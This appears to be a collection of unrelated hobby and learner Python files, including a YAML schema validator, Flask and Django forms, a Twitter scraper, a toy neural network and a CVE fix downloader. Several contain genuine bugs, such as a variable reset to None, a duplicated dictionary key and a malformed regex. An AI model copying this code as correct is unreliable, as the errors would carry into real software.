import yaml
from jsonschema import Draft4Validator
import sys
import glob
import re
import warnings
import requests
from jsonpath_rw import parse

"""ARG = path to directory with pattern files in yaml
Files must have the extension .yaml or .yml.
All files in directory with these extensions are assumed to be dosdp
pattern files.
"""

def test_jschema(validator, test_pattern):
    if not validator.is_valid(test_pattern):
        es = validator.iter_errors(test_pattern)
        for e in es:
            warnings.warn(str(e))
            return False
    else:
        return True

def test_vars(pattern):
    """Tests whether variable names in any field with key 'vars'
    is in the vars list for the pattern"""
    if 'vars' in pattern.keys():
        vars = set(pattern['vars'].keys())
    else:
        warnings.warn("Pattern has no vars")
        return True ## If this is to be compulsory, should be spec'd as such in json_schema
    if 'data_vars' in pattern.keys():
        vars = vars.update(set(pattern.data_vars.keys()))
    expr = parse('*..vars')
    var_fields = [match for match in expr.find(pattern)]
    stat = True
    for field in var_fields:
        val = set(field.value)
        if not vars.issuperset(val):
            warnings.warn("%s has values (%s) not found in pattern variable list (%s): "
                  % (field.full_path, str(val.difference(vars)), str(vars)))
            stat = False
    return stat

schema_url = 'https://raw.githubusercontent.com/dosumis/dead_simple_owl_design_patterns/master/spec/DOSDP_schema_full.yaml'
dosdp_full_text = requests.get(schema_url)

dosdp = yaml.load(dosdp_full_text.text)

v = Draft4Validator(dosdp)

pattern_docs = glob.glob(sys.argv[1] + "*.yaml")
pattern_docs.extend(glob.glob(sys.argv[1] + "*.yml"))
stat = True
for pattern_doc in pattern_docs:
    warnings.warn("Checking %s" % pattern_doc)
    file = open(pattern_doc, "r")
    pattern = yaml.load(file.read())
    if not test_jschema(v, pattern): stat = False
    if not test_vars(pattern): stat = False

if not stat:
    sys.exit(1)


from flask import render_template, request
from models import Dessert, create_dessert
from app import app

@app.route('/enquiries')
def index():

    desserts = Dessert.query.all()

    return render_template('index.html', desserts=desserts)

@app.route('/forms', methods=['GET', 'POST', 'DELETE'])
def add():

    if request.method == 'GET':
        return render_template('add.html')

    dessert_name = request.form.get('name_field')
    dessert_price = request.form.get('price_field')
    dessert_cals = request.form.get('cals_field')
    dessert_sub = request.form.get('Subject_field')
    sex = request.form['options']

    dessert = create_dessert(dessert_name, dessert_price, dessert_cals,
                             dessert_sub, sex)
    return render_template('add.html', dessert=dessert)

@app.route('/enquiry/<id>', methods=['GET', 'POST'])
def show_post(id):
    # return getthings(name_id)
    d = Dessert.query.filter_by(id=id).first_or_404()
    t = []
    t.append(d.name)
    t.append(d.email)
    t.append(d.MobileNumber)
    t.append(d.Subject)
    t.append(d.sex)

    # return render_template('index.html', d=d)
    return str(t)

    # return int(dessert1)


from biblioteca.models import Libro
from django import forms

class LibroForm(forms.ModelForm):

    class Meta:
        model = Libro

        fields = [
            'titulo',
            'autores',
            'editor',
            'fecha_publicacion',
            'portada',
        ]

        labels = {
            'titulo': 'Titulo',
            'autores': 'Autores',
            'editor': 'Editor',
            'fecha_publicacion': 'Fecha de publicacion',
            'portada': 'Portada',
        }

        widgets = {
            'titulo': forms.TextInput(attrs={'class': 'form-control'}),
            'editor': forms.Select(),
        }


def subtract_sum(n):
    obj = {
    1:'kiwi',
    2:'pear',
    3:'kiwi',
    4:'banana',
    5:'melon',
    6:'banana',
    7:'melon',
    8:'pineapple',
    9:'apple',
    10:'pineapple',
    11:'cucumber',
    12:'pineapple',
    13:'cucumber',
    14:'orange',
    15:'grape',
    16:'orange',
    17:'grape',
    18:'apple',
    19:'grape',
    20:'cherry',
    21:'pear',
    22:'cherry',
    23:'pear',
    24:'kiwi',
    25:'banana',
    26:'kiwi',
    27:'apple',
    28:'melon',
    29:'banana',
    30:'melon',
    31:'pineapple',
    30:'melon',
    33:'pineapple',
    34:'cucumber',
    35:'orange',
    36:'apple',
    37:'orange',
    38:'grape',
    39:'orange',
    40:'grape',
    41:'cherry',
    42:'pear',
    43:'cherry',
    44:'pear',
    45:'apple',
    46:'pear',
    47:'kiwi',
    48:'banana',
    49:'kiwi',
    50:'banana',
    51:'melon',
    52:'pineapple',
    53:'melon',
    54:'apple',
    55:'cucumber',
    56:'pineapple',
    57:'cucumber',
    58:'orange',
    59:'cucumber',
    60:'orange',
    61:'grape',
    62:'cherry',
    63:'apple',
    64:'cherry',
    65:'pear',
    66:'cherry',
    67:'pear',
    68:'kiwi',
    69:'pear',
    70:'kiwi',
    71:'banana',
    72:'apple',
    73:'banana',
    74:'melon',
    75:'pineapple',
    76:'melon',
    77:'pineapple',
    78:'cucumber',
    79:'pineapple',
    80:'cucumber',
    81:'apple',
    82:'grape',
    83:'orange',
    84:'grape',
    85:'cherry',
    86:'grape',
    87:'cherry',
    88:'pear',
    89:'cherry',
    90:'apple',
    91:'kiwi',
    92:'banana',
    93:'kiwi',
    94:'banana',
    95:'melon',
    96:'banana',
    97:'melon',
    98:'pineapple',
    99:'apple',
    100:'pineapple'
    }

    total = 0
    num_list = list(str(n))
    for num in num_list:
        total += int(num)
    new_num = int(n) - total

    if new_num in obj:
        return obj.get(new_num)
    else:
        return subtract_sum(new_num)


# -*- coding: utf-8 -*-
"""
Created on Mon Sep  9 23:22:21 2019

@author: Dat Nguyen
"""

total = 0
count = 0
avg = 0
while True:
    numb = input('please enter a number: ')
    if numb == 'done':
        print ('youre done!')
        break
    try:
        numb = float (numb)
    except ValueError:
        print ('please enter a valid number')
        continue
    total = total + numb
    count = count + 1
    avg = total / count
print ('total is: ', total, ' count is: ', count, ' average is: ', avg)

Python for everyone/count total average.py


#!/usr/local/bin/python3
import sys
import os
import yaml
from .hardening_manifest_functions import *
from .pip_packages import pip_create_hardening_manifest
from .npm_packages import npm_create_hardening_manifest
from .urls import urls_create_hardening_manifest
from .gem_packages import gem_create_hardening_manifest

def all_package_managers(force_option: bool, multi_pkg_types: bool):
    """ Main function for the --all option """
    # This section is checking for an existing manifest.
    if not force_option:
        check_for_existing_manifest()

    # Now we are checking to make sure at least one of the required files has packages in them.
    # Based on which files have packages listed, run the correct function.
    pip_requirements_file_size = os.stat("requirements_files/pip-packages.txt").st_size
    urls_requirements_file_size = os.stat("requirements_files/urls.txt").st_size
    gem_requirements_file_size = os.stat("requirements_files/gem-packages.txt").st_size

    # Make a list of which package manager's requirement files have content so we know what to run
    pkg_managers_to_run = []
    if pip_requirements_file_size != 0:
        pkg_managers_to_run.append("pip")
    if urls_requirements_file_size != 0:
        pkg_managers_to_run.append("urls")
    if gem_requirements_file_size != 0:
        pkg_managers_to_run.append("gem")
    # For npm script to run a project path is required so check for that.
    if "NPM_PROJECT_PATH" in os.environ:
        pkg_managers_to_run.append("npm")

    # If list is empty none had content so exit
    if not pkg_managers_to_run:
        sys.exit('ERROR: No required packages. Please make sure at '
                 'least one of the requirement files in requirements_files/ has content.')

    # Check environments for the package managers trying to be run
    multi_envs_check(pkg_managers_to_run)

    # Run the script for each package manager in the list and get the failed list back.
    has_failed_pkgs = []
    for pkg_manager in pkg_managers_to_run:
        if pkg_manager == "pip":
            failed_pip_list = pip_create_hardening_manifest(force_option, multi_pkg_types)
            if failed_pip_list:
                has_failed_pkgs.append("pip")
        if pkg_manager == "npm":
            failed_npm_list = npm_create_hardening_manifest(force_option, multi_pkg_types)
            if failed_npm_list:
                has_failed_pkgs.append("npm")
        if pkg_manager == "urls":
            failed_urls_list = urls_create_hardening_manifest(force_option, multi_pkg_types)
            if failed_urls_list:
                has_failed_pkgs.append("urls")
        if pkg_manager == "gem":
            failed_gem_list = gem_create_hardening_manifest(force_option, multi_pkg_types)
            if failed_gem_list:
                has_failed_pkgs.append("gem")
        else:
            pass

    # Based on the failed packages lists returned from the above function, print to terminal.
    if has_failed_pkgs:
        for pkg_manager in has_failed_pkgs:
            if pkg_manager == "pip":
                print("\nPip packages not found:")
                for package in failed_pip_list:
                    print(' - {}'.format(package))
            if pkg_manager == "npm":
                print("\nNpm packages not found:")
                for package in failed_npm_list:
                    print(' - {}'.format(package))
            if pkg_manager == "gem":
                print("\nGem packages not found:")
                for package in failed_gem_list:
                    print(' - {}'.format(package))
            if pkg_manager == "urls":
                if failed_urls_list:
                    print("\nUrl packages not found:")
                    for package in failed_urls_list:
                        print(' - {}'.format(package))
    else:
        print('All packages found!')
    print("\nHardening manifest located at {}/hardening_manifest/hardening_manifest.yaml\n".format(os.getcwd()))


import logging

from repositories.stocks_info import StocksInfoRepository

logger = logging.getLogger('business')

class CalculateLastDayReturn:
    @classmethod
    def run(cls, stock_ticker: str, count: int):
        return_percent, return_usd = StocksInfoRepository.get_last_day_return(stock_ticker)
        return_percent = round(return_percent * 100., 3)
        return_usd = round(return_usd * count, 3)
        logger.info(f'{stock_ticker} last day return calculated {return_percent}% {return_usd}usd')
        return return_usd, return_percent


import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys

def makeHimSad(tweet):
    tweetList = tweet.text.split()
    for word in tweetList:
        if word.lower() == 'sad':
            return True

browser = webdriver.Chrome('enter_path_to_chromedriver')
base_url = u'https://twitter.com/'
query = u'realDonaldTrump'
url = base_url + query

browser.get(url)
time.sleep(1)

body = browser.find_element_by_tag_name('body')

for i in range(350):
    body.send_keys(Keys.PAGE_DOWN)
    time.sleep(0.5)
    print(i)

tweets = browser.find_elements_by_class_name('tweet-text')

sadTweets = list(filter(makeHimSad, tweets))

for sadTweet in sadTweets:
    print(sadTweet.text)


# python program to count Minimum number
# of jumps to reach end

# Returns minimum number of jumps to reach arr[n-1] from arr[0]
def minJumps(arr, n):

    if(n == 1):
        if(arr[0] == 0):
            return -1
        else:
            return 0
    jump = 1
    step = arr[0]
    maxReach = arr[0]
    for i in range(1, n):
        if(i == n-1):
            return jump
        maxReach = max(maxReach, i+arr[i])
        step -= 1
        if(step == 0):
            jump += 1
            if(i >= maxReach):
                # handling zero case
                return -1
            step = maxReach-i
    return -1

# Driver program to test above function
arr = [1, 3, 5, 8, 9, 2, 6, 7, 6, 8, 9]
# arr1 = [1, 4, 3, 2, 6, 7]

arr2 = [2, 3, 1, 1, 2, 4, 2, 0, 1, 1]
# # arr = [1, 3, 5, 8, 9, 2, 6, 7, 6, 8, 9]
# arr3 = [1, 3, 5, 8, 9, 2, 6, 7, 6, 8, 9]
# arr4 = [10, 8, 12, 17, 1, 21, 5, 17, 20, 11, 5, 27, 23, 8,
#         12, 18, 16, 12, 9, 8, 17, 12, 23, 26, 0, 5, 9, 24, 10]

size = len(arr2)

# Calling the minJumps function
print("Minimum number of jumps to reach end is % d " % minJumps(arr2, size))

# This code is contributed by Aditi Sharma


from fastapi import FastAPI, HTTPException, Body
import re
import json

app = FastAPI()

def reformat_string(input_string):
    questions_and_answers = re.findall(r"QS: (.+?) Answer: (.+?)(?=(?:\s*QS:|$))", input_string)
    reformatted_list = []

    for question, answer in questions_and_answers:
        prompt = {"prompt": question.strip()}
        completion = {"completion": answer.strip()}
        reformatted_list.append(json.dumps({**prompt, **completion}))

    return reformatted_list

@app.post("/reformat")
async def reformat_input_string(input_data: dict = Body(...)):
    try:
        input_string = input_data["input_string"]
        reformatted_output = reformat_string(input_string)
        return reformatted_output
    except Exception as e:
        raise HTTPException(status_code=400, detail=str(e))


import tensorflow as tf
import numpy as np
import random
import pandas as pd
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense,Conv2D,Flatten,MaxPool2D,Dropout,LeakyReLU
from tensorflow.keras.callbacks import EarlyStopping
from tensorflow.keras.preprocessing.image import ImageDataGenerator
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score
from sklearn.preprocessing import RobustScaler

# 0. seed initialization
seed = 0
random.seed(seed)
np.random.seed(seed)
tf.random.set_seed(seed)

# 1. data prepare
train_datagen=ImageDataGenerator(
    rescale=1/255,
    horizontal_flip=True,
    vertical_flip=True,
    width_shift_range=0.2,
    height_shift_range=0.1,
    rotation_range=5,
    zoom_range=1.2,
    shear_range=0.7,
    fill_mode='nearest'
)
test_datagen=ImageDataGenerator(
    rescale=1/255
)

xy_train=train_datagen.flow_from_directory('d:/study_data/_data/brain/train/'
                                  ,target_size=(200,200)
                                  ,batch_size=5
                                  ,class_mode='binary'
                                  ,color_mode='grayscale'
                                  ,shuffle=True
                                  )

xy_test=test_datagen.flow_from_directory('d:/study_data/_data/brain/test/'
                                  ,target_size=(200,200)
                                  ,batch_size=5
                                  ,class_mode='binary'
                                  ,color_mode='grayscale'
                                  ,shuffle=True
                                  )

gendata=(xy_train[i][0] for i in range(len(xy_train)))
gentarget=(xy_train[i][1] for i in range(len(xy_train)))
data=np.array(list(gendata))
data=np.reshape(data,([data.shape[0]*data.shape[1]]+list(data.shape[2:])))
target=np.array(list(gentarget))
target=np.reshape(target,([target.shape[0]*target.shape[1]]+list(target.shape[2:])))
print(data.shape)
print(target.shape)
print(target[:10])

import matplotlib as mpl
import matplotlib.pyplot as plt
plt.figure(figsize=(7,7))
for i in range(1,50):
    plt.subplot(7,7,i)
    plt.axis('off')
    plt.grid(False)
    plt.imshow(data[i],cmap='gray')
plt.show()


import numpy as np
import math

def add_padding(group):
    # take sample array
    keys=list(group.keys())
    # print(keys[0])
    # print(group[keys[0]])

    # take num array
    num_array = len(group[keys[0]])
    # print(num_array)

    # max y limit
    max_keys = max(list(group.keys()))
    # print(math.ceil(max_keys))

    # create step 0.1
#     all_step = np.arange(-5.0, math.ceil(max_keys)+5.0, 0.1)
    # increase the top
    temp = math.ceil(max_keys)
    condition = True
    while (condition):
        mod = temp % 10
        if mod == 0:
            condition = False
        else:
            temp += 1

    all_step = np.arange(0, temp, 1)
#     print(all_step)
    final_step = []
    for i in all_step:
#         temp = round(i,1)
        temp = round(i)
        final_step.append(temp)
#         print(temp)
#     print(final_step)

    # start padding
    for i in final_step:
        if i in group:
#             print("yes", i)
            group[i] = list(group[i])
            continue
        else:
    #         print("no", i)
            array = [0 for x in range(num_array)]
            group[i] = np.array(array)
    # print(group)

    return group


import math
import random
from PIL import Image, ImageColor
from random import uniform

network = []
output = [[[0],[0],[0],[0]],[[0]]]
delta_weights = [[[0],[0],[0],[0]],[[0]]]

LEARNRATE = 0.1

def init_network():
    #hidden layer, last weight = bias
    network.append([
        [0.3897357306683825, 0.9126469444394134, 0.7758730482768014], # Neuron 1, a neuron is essentially a list of weights
        [0.1735232013605318, 0.5978860651946428, 0.18040484098694443], # Neuron 2
        [0.7757205369141853, 0.5564327542525381, 0.7985897933821094], # Neuron 3
        [0.06492748093164047, 0.9280062358832749, 0.22981106076880609], # Neuron 4
    ])
    #output layer, last weight = bias
    network.append([
        [0.8497813814803977, 0.4415974940009172, 0.8888504188216229, 0.10164184412603228, 0.053793242180075196], # Neuron 1
    ])

def standard_sigmoid(arg:int, c:int = 1):
    return 1.0/(1.0 + math.exp(-c*arg))

def standard_sigmoid_derivation(arg:int):
    return arg * (1- arg)

# iterate over every weight of a neuron and multiply with the given inputs, last weight is always a bias with factor 1
def get_neuron_activation(neuron, inputs):
    sum = 0
    for i in range(len(neuron)-1):
        sum += inputs[i] * neuron[i]

    sum += 1 * neuron[-1] # bias
    return sum

# inputs bsp: [0.3, 0.5]
def get_network_output(inputs):

    for i, layer in enumerate(network):
        inputs_new = []
        for j, neuron in enumerate(layer):
            output[i][j] = standard_sigmoid(get_neuron_activation(neuron, inputs))
            inputs_new.append(output[i][j])
        inputs = inputs_new

    return output

def backward_propagation(target):

    # für jedes neuron im output layer (1x mal)
    for j in range(len(network[1])):

        error = target - output[1][j] # fehler berrechnen
        delta_weights[1][j] = error * standard_sigmoid_derivation(output[1][j]) # gewichtsveränderung berechnen und speichern

    # für jedes neuron im hidden layer (4x mal)
    for j in range(len(network[0])):
        error = 0
        for neuron in network[1]: # für jedes output neuron (1x mal)
            error += neuron[j] * delta_weights[1][0] # fehler berechnen (= Fehler am Output Neuron * Gewicht)

        delta_weights[0][j] = error * standard_sigmoid_derivation(output[0][j]) # gewichtsveränderung berechnen und speichern

def update_weights(inputs):

    # hidden layer
    for i, neuron in enumerate(network[0]): # i zum iterieren über alle delta_weights
        for j in range(len(inputs)):
            neuron[j] += LEARNRATE * delta_weights[0][i] * inputs[j]
        neuron[-1] += LEARNRATE * delta_weights[0][i] * 1 # bias

    # output layer
    for neuron in network[1]:
        for j in range(len(output[0])): # inputs für den output layer sind die outputs des hidden layer
            neuron[j] += LEARNRATE * delta_weights[1][0] * output[0][j]
        neuron[-1] += LEARNRATE * delta_weights[1][0] * 1 # bias

def is_in_unitcircle(x,y):
    x = abs(x)
    y = abs(y)
    return 1 if math.sqrt(x * x + y * y) <= 1 else 0

def printImg():
    im = Image.new('RGB', (500, 500))

    x = -1
    while (x < 1):

        y = -1
        while (y < 1):
            out = get_network_output([x,y])[1][0]

            im.putpixel((int(x * 250 + 250), int(499.98 - (y * 250 + 250))), (int(out * 255), int(out * 255), int(out * 255)))
            y += 0.002

        x += 0.002
    im.save("./KREIS.png")

def generate_testdata(n):
    testdata = []
    for i in range(n):
        x = uniform(-1.5,1.5)
        y = uniform(-1.5,1.5)
        t = is_in_unitcircle(x, y)
        testdata.append(((x, y), t))
    return testdata

def train(testdata, epochs):

    for i in range(epochs):
        sum_error = 0
        for data in testdata:
            inputs = data[0]
            target = data[1]

            get_network_output(inputs)
            sum_error += (target - output[1][0])**2
            backward_propagation(target)
            update_weights(inputs)

        print(f"Epoch: {i}; Error: {sum_error}")

def main():
    init_network()
    testdata = generate_testdata(1000)
    train(testdata, 1000)
    printImg()

main()


import json

FILE_NAME = 'words.json'

def load(file_name=FILE_NAME):
    filtered_words = {}
    words = {}

    with open(file_name, 'r') as f:
        words = json.load(f)

    for word in words.keys():
        if 2 < len(word) <= 16:  # no 2 letter words, and 16 letter words is the max
            filtered_words[word] = 1

    return filtered_words


import argparse
import logging
import schedule
import time

from libs.backups.s3_backup import raw_data_backup, reports_backup
from libs.config_engine import ConfigEngine
from libs.metrics.utils import compute_hourly_metrics, compute_daily_metrics, compute_live_metrics
from libs.reports.notifications import (send_daily_report_notification, send_daily_global_report,
                                        send_weekly_global_report)

logger = logging.getLogger(__name__)

def main(config):
    logging.basicConfig(level=logging.INFO)
    if isinstance(config, str):
        config = ConfigEngine(config)

    # Schedule configured periodic tasks
    periodic_tasks_names = [x for x in config.get_sections() if x.startswith("PeriodicTask_")]
    for p_task in periodic_tasks_names:
        if not config.get_boolean(p_task, "Enabled"):
            continue
        task_name = config.get_section_dict(p_task).get("Name")
        if task_name == "metrics":
            logger.info("Metrics enabled!")
            schedule.every().day.at("00:01").do(compute_daily_metrics, config=config)
            schedule.every().hour.at(":01").do(compute_hourly_metrics, config=config)
            live_interval = int(config.get_section_dict(p_task).get("LiveInterval", 10))
            schedule.every(live_interval).minutes.do(
                compute_live_metrics, config=config, live_interval=live_interval)
        elif task_name == "s3_backup":
            bucket_name = config.get_section_dict(p_task).get("BackupS3Bucket")
            if not bucket_name:
                logger.info("S3 Backup task doesn't have a bucket configured.")
                continue
            logger.info("Backup enabled!")
            backup_interval = int(config.get_section_dict(p_task).get("BackupInterval", 30))
            schedule.every(backup_interval).minutes.do(raw_data_backup, config=config, bucket_name=bucket_name)
            schedule.every().day.at("00:30").do(reports_backup, config=config, bucket_name=bucket_name)
        else:
            raise ValueError(f"Not supported periodic task named: {task_name}")

    # Schedule daily/weekly reports for sources and areas
    sources = config.get_video_sources()
    areas = config.get_areas()
    for src in sources:
        if src['daily_report']:
            schedule.every().day.at(src['daily_report_time']).do(
                send_daily_report_notification, config=config, entity_info=src)
    for area in areas:
        if area.daily_report:
            schedule.every().day.at(area.daily_report_time).do(
                send_daily_report_notification, config=config, entity_info=area)
    if config.get_boolean("App", "DailyGlobalReport"):
        schedule.every().day.at(config.get_section_dict("App")["GlobalReportTime"]).do(
            send_daily_global_report, config=config, sources=sources, areas=areas
        )
    if config.get_boolean("App", "WeeklyGlobalReport"):
        schedule.every(7).days.at(config.get_section_dict("App")["GlobalReportTime"]).do(
            send_weekly_global_report, config=config, sources=sources, areas=areas
        )

    while True:
        schedule.run_pending()
        time.sleep(10)

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--config', required=True)
    args = parser.parse_args()
    main(args.config)


import requests
from bs4 import BeautifulSoup

URL = "https://web.archive.org/web/20200518073855/https://www.empireonline.com/movies/features/best-movies-2/"

response = requests.get(URL)
# print(response.text)
soup = BeautifulSoup(response.text, "html.parser")

movies = soup.find_all(name="h3", class_="title")

contents = ""
for tag in movies[::-1]:
    contents += f"{tag.getText()}\n"

with open("movies.txt", mode="w", encoding="utf8") as file:
    file.write(contents)


# -*- coding: utf-8 -*-
"""
Created on Sun Feb 16 19:43:40 2020

@author: LENOVO
"""
#Duck typing means, a bird which behaves like a duck, walk like a duck, talks like a duck then it is a 'duck'
#Here we are concern about class's behaviour

class Spyder:

    def execute(self):
        print("Compiling")
        print("Running")

class MyEditor:

    def execute(self):
        print("Spell Check")
        print("Convention Check")
        print("Compiling")
        print("Running")

class Laptop:

    def code(self, ide):
        ide.execute()

#ide = Spyder()

#Doesnt matter whether execute is of MyEditor or execute it will call execute instance

#Or
ide = MyEditor()

lap1 = Laptop()
lap1.code(ide)


"""
 @description: 8. 二元推导检测。二元推导检测的目的是判定第k次二元推导序列中0和1的个数是否接近一致。
                  对于一个随机的序列,无论进行多少次推导,其 0、1的个数都应该接近一致。
 @author: Harrison-1eo
 @date: 2023/5/22
 @version: 1.0
"""
import math

def binary_derivative(bit_stream: str, alpha=0.01, **args):
    k = args['k']

    n = len(bit_stream)
    n_k = n - k

    bit_stream = [int(i) for i in bit_stream]

    for i in range(k):
        for j in range(n - 1):
            bit_stream[j] = bit_stream[j] ^ bit_stream[j + 1]

    bit = [1 if bit_stream[i] == 1 else 0 for i in range(n - k)]
    Sn_k = bit.count(1) - bit.count(0)

    V = Sn_k / math.sqrt(n_k)

    p_value = math.erfc(abs(V) / math.sqrt(2))
    q_value = math.erfc(V / math.sqrt(2)) / 2

    log = f'二元推导检测:\n' \
            f'\tSn_k: {Sn_k}\n' \
            f'\tV: {V}\n' \
            f'\tp_value: {p_value}\n' \
            f'\tq_value: {q_value}\n\n'

    if p_value < alpha:
        return False, p_value, q_value, log
    else:
        return True, p_value, q_value, log

if __name__ == '__main__':
    e = '1100110000010101011011000100110011100000000000100100110101010001' \
        '0001001111010110100000001101011111001100111001101101100010110010'

    print(binary_derivative(e, k=3))


import argparse
import os
import re
import saassist.datacollector as datacollector
from saassist.saaserver import SAAServer
from server_config import saassist_home
from time import sleep

with open(os.path.join(os.path.dirname(__file__), 'VERSION'), 'rb') as f:
    version = f.read().decode('ascii').strip()

# header
def _print_header():
    print('=' * 80)
    print('SAAssist-server (Security APAR Assist Server) - Version {0}'.format(
        version))
    print('=' * 80)

_print_header()

# construct the command lines for server
parser = argparse.ArgumentParser(prog='saassist-server')

parser.add_argument('-c', '--create', action='store', dest='apar_download',
                    help='create CVE (Common Vulnerabilities and Exposures) '
                         'or IV (Interim Fix) repository')

parser.add_argument('-u', '--update', action='store', dest='apar_update',
                    help='update an already existent CVE/IV repository')

parser.add_argument('-l', '--list', action='store_true',
                    help='list all available CVE/IV')

parser.add_argument('-cv', '--createversion', action='store',
                    dest='os_version_download',
                    help='create the repository with all CVE/IV available for'
                         'an specific OS version')

parser.add_argument('-uv', '--updateversion', action='store',
                    dest='os_version_update',
                    help='update the repository with all CVE/IV available for'
                         'an specific OS version')

parser.add_argument('-flrt', '--flrt', action='store_true',
                    help='Update the FLRT data from FLRT IBM Website.'
                         'It will ignore the cache configuration.')

arguments = parser.parse_args()

if arguments.list:
    repo_dir = '{0}/saassist/data/repos/'.format(saassist_home)
    dir_list = os.listdir(repo_dir)
    for apar_dir in dir_list:
        if os.path.isdir(repo_dir + apar_dir):
            print(apar_dir)
    exit(0)

if arguments.flrt:
    print('[SERVER] Updating the FLRT data from FLRT IBM Website')
    flrt_download = datacollector.Collector()
    flrt_download.collect_data()
    exit(0)

# check if required arguments for -c, -u, -cv, -uv are present
apar = None
if (arguments.apar_download is None) and (arguments.apar_update is None) and\
        (arguments.os_version_download is None) and\
        (arguments.os_version_update is None):
    parser.print_help()
    apar = None
    exit()

elif (arguments.os_version_download is not None) or\
        (arguments.os_version_update is not None):

    # OS version repository
    if arguments.os_version_download is not None:
        os_version_repos = arguments.os_version_download

    if arguments.os_version_update is not None:
        os_version_repos = arguments.os_version_update

    if not re.search('[0-9][0-9[0-9][0-9]-[0-9][0-9]|[0-9].[0-9].[0-9]|ALL',
                  os_version_repos, re.IGNORECASE):

        print('[SERVER] Please use: ./saassit-server [-cv|-uv {VERSION|ALL}]\n'
              '\n'
              'Please use the correct format for version:\n'
              'AIX: NNNN-NN\n'
              'PowerVM(VIOS): N.N.N\n'
              'ALL to download available fixes from IBM.\n'
              '\n'
              'Example: ./saassist-server -cv 7100-01\n'
              '         ./saassist-server -uv 2.2.3\n'
              '         ./saassist-server -cv ALL')
        exit(1)

    # download ALL
    if os_version_repos.upper() == 'ALL':
        os_version_repos = ''

    # initializing function Collector()
    version_repos = datacollector.Collector()
    flrt_data = version_repos.flrt_data()

    # Generation apar list
    apar_list = []
    for flrt_data_row in flrt_data:
        os_versions = flrt_data_row[2]
        iv_apar = flrt_data_row[4]
        cvss = flrt_data_row[13]
        if re.search(os_version_repos, os_versions):
            if iv_apar.startswith('IV') and iv_apar in cvss:
                apar_list.append(iv_apar)
                print(iv_apar)

            if 'CVE' in cvss:
                # include the latest CVE
                apar_list.append((cvss.replace(': ',':').split()[-1]))

            else:
                apar_list.append(iv_apar)

    # removing duplicates
    apar_list = set(apar_list)
    apar_list = list(apar_list)

    if len(apar_list) is 0:
        print('[SERVER] There is not fixes available for {0}'.format(
            os_version_repos))
        exit()

    print('[SERVER] Downloading {0} fix(es) to create repos for {1} version'
          ''.format(len(apar_list), os_version_repos))

    # downloading or updating repository for OS version
    for apar_id in apar_list:
        apar_id = apar_id.split(':')[0]
        saassist_run = SAAServer(apar_id)

        if arguments.os_version_download is None:
            saassist_run.repo_creation(update=True)

        if arguments.os_version_update is None:
            saassist_run.repo_creation(update=False)

elif arguments.apar_download is None:
    apar = arguments.apar_update.upper()

else:
    apar = arguments.apar_download.upper()

# if argument os.version is not present, got to update
if apar is not None:

    # verifies if the information looks correct
    if apar.startswith('CVE') and len(apar) == 13:
        sec_id_std = True

    elif apar.startswith('IV') and len(apar) == 7:
        sec_id_std = True

    else:
        sec_id_std = False

    if sec_id_std is False:
        print('CVE or IV [{0}] number does not look correct.\n'
              'Standard is CVE-NNNN-NNNN or IVNNNNN.\n'
              'Example: CVE-2016-4948\n'
              '         IV91432\n'.format(apar))
        exit()

    # do the update action
    if arguments.apar_download is None:
        saassist_run = SAAServer(apar)
        saassist_run.repo_creation(update=True)

    if arguments.apar_update is None:
        saassist_run = SAAServer(apar)
        saassist_run.repo_creation(update=False)


import unittest
from SurveyReportingSystem.CalculationCoordinator import CalculationCoordinator
from openpyxl import load_workbook, Workbook
import os

class ExcelWritingUtilityTestCase(unittest.TestCase):

	def setUp(self):
		wb1 = Workbook()
		ws1 = wb1.get_active_sheet()
		ws1.cell(row=1,column=1).value = "WB1Value"
		ws1.title = "WB1Sheet"
		wb1.save('wb1.xlsx')

	def test_copy_sheet_between_wb(self):
		wb2 = Workbook()
		ws2 = wb2.get_active_sheet()
		ws2.cell(row=1,column=1).value = "WB2Value"
		ws2.title = "WB2Sheet"
		wb2.save('wb2.xlsx')

		cc = CalculationCoordinator.CalculationCoordinator()
		cc.copy_sheet_to_workbook('wb1.xlsx','WB1Sheet','wb2.xlsx')

		orig_sheet = load_workbook(filename = r'wb2.xlsx').get_sheet_by_name(name = 'WB2Sheet')
		test_sheet = load_workbook(filename = r'wb2.xlsx').get_sheet_by_name(name = 'WB1Sheet')
		self.assertEqual(test_sheet.cell(row=1,column=1).value,'WB1Value')
		self.assertEqual(orig_sheet.cell(row=1,column=1).value,'WB2Value')

	def test_replace_sheet_between_wb(self):
		wb2 = Workbook()
		ws2 = wb2.get_active_sheet()
		ws2.cell(row=1,column=1).value = "WB2Value"
		ws2.title = "WB1Sheet"
		wb2.save('wb2.xlsx')

		cc = CalculationCoordinator.CalculationCoordinator()
		cc.copy_sheet_to_workbook('wb1.xlsx','WB1Sheet','wb2.xlsx')

		test_sheet = load_workbook(filename = r'wb2.xlsx').get_sheet_by_name(name = 'WB1Sheet')
		self.assertEqual(test_sheet.cell(row=1,column=1).value,'WB1Value')

	def tearDown(self):
		try:
			pass
			os.remove('wb1.xlsx')
			os.remove('wb2.xlsx')
		except:
			pass


#!/usr/bin/env python

import matplotlib as mpl
mpl.use('SVG')
import numpy as np
import matplotlib.cm as cm
from matplotlib.pyplot import figure, show, rc
from matplotlib.patches import Ellipse

# force square figure and square axes looks better for polar, IMO
fig = figure(figsize=(8,8))
ax = fig.add_axes([0.1, 0.1, 0.8, 0.8], polar=True)

N = 20
theta = np.arange(0.0, 2*np.pi, 2*np.pi/N)
radii = 10*np.random.rand(N)
width = np.pi/4*np.random.rand(N)
bars = ax.bar(theta, radii, width=width, bottom=0.0)
for r,bar in zip(radii, bars):
    bar.set_facecolor( cm.jet(r/10.))
    bar.set_alpha(0.5)

bbox_args = dict(boxstyle="round, pad=0.9", fc="green", alpha=0.5)
bbox_white = dict(boxstyle="round, pad=0.9", fc="1", alpha=0.9)
patch_white = dict(boxstyle="round, pad=1", fc="1", ec="1")

ax.annotate(" ",
    xy=(.5,.93),
    xycoords='figure fraction',
    ha="center", va="center",
    bbox=patch_white)

ax.annotate('Matplotlib and the Python Ecosystem for Scientific Computing',
    xy=(.5,.95),
    xycoords='figure fraction',
    xytext=(0, 0), textcoords='offset points',
    size=15,
    ha="center", va="center",
    bbox=bbox_args)

ax.annotate('Author and Lead Developer \n of Matplotlib ',
    xy=(.5,.82),
    xycoords='figure fraction',
    xytext=(0, 0), textcoords='offset points',
    ha="center", va="center",
    bbox=bbox_args)

